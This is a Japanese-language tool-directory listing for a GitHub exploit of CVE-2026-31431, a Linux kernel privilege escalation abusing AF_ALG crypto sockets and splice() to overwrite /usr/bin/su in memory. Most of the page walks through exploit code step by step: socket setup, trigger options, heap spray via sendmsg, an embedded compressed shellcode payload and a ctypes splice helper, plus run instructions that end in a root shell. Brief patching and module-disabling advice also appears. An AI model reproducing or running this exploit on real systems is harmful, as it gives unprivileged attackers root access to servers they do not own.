Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — コピー失敗 - CVE-2026-31431 | Kitploit
ツール/GitHubGitHub/juanbindez/cve-2026-31431
特権昇格メモリフォレンジック脆弱性分析エクスプロイトシェルコードペイロード開発バイナリエクスプロイト
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

コピー失敗 - CVE-2026-31431

リポジトリを見る
175133ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431


コピー失敗 - CVE-2026-31431 詳細

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


テスト済みディストリ / バージョン

ディストリバージョン
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

エクスプロイトの実行

main.py

コマンドID

id

このような表示が出たら、rootアクセスを取得できたことを意味します。

image

修正は数分で完了します。

オプション1: カーネルを更新する(推奨)

Ubuntu/Debianの場合: sudo apt update, sudo apt upgrade -y
RHEL系システムの場合: sudo yum update

その後、サーバーを再起動してください。

オプション2: 影響を受けるモジュールを無効化する(一時的な修正)

今すぐ更新できない場合は、脆弱なモジュールを無効にして露出を減らします:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

これはSSH、TLS、LUKS、OpenSSLには影響しません。


攻撃手法: CVE風 (Crypto API + splice)

これは、LinuxカーネルのAF_ALG暗号サブシステムの脆弱性と、splice()/sendmsg()の誤った使用を組み合わせて以下のことを行うようです:

  • カーネルポインタの漏洩
  • プロセスのtask_structの破壊
  • UIDを0(root)に昇格

1. AF_ALGソケットの使用 (38)

a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • カーネル内に暗号ソケットを作成
  • AES-CBC + HMAC-SHA256暗号を設定
  • 本来の目的: 内部カーネルAPIとの対話

2. 難解なsetsockopt (h=279)

v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (暗号鍵を設定)
  • ALGサブシステムを悪用する文書化されていないオプション
  • キー '0800010000000010' + ゼロ — 脆弱性トリガーと思われる

3. 主な攻撃手法

u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • 補助データ(制御メッセージ)を使用したsendmsg
  • 'i'(カウンター)はイテレーションごとに可変サイズを作成
  • 目的: ヒープスプレーとカーネルメモリの破壊

4. パイプ間のsplice()

r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

以下の間でのゼロコピーデータ転送:

/usr/bin/su (file) → pipe → crypto socket

spliceはユーザー→カーネルコピーを回避 → 完全なカーネル空間操作

5. 展開されたペイロード

16進データ:

78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

78daで始まる → zlibヘッダ

展開されたコンテンツには以下が含まれる可能性があります:

Shellcode (machine code)
x86_64特権昇格命令

6. suへのペイロード書き込み

while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

メモリ内の/usr/bin/suを破壊(ディスク上ではない)

シェルコードは実行時にsuプロセスに注入される

7. 最終実行

g.system("su")

[!NOTE] ターゲットOSのPythonバージョンが3.10未満の場合は、以下のコードを使用して動作させてください。ただし、最初にシステムコールの利用可能性を確認してください。

python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

このコードスニペットを PAYLOAD_COMPRESSED セクションの下に追加してください:

_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

su(ユーザー切り替え)を実行 — 破損したペイロードが含まれています

修正されたsuはパスワードを要求せずにrootを返します

ツールをダウンロード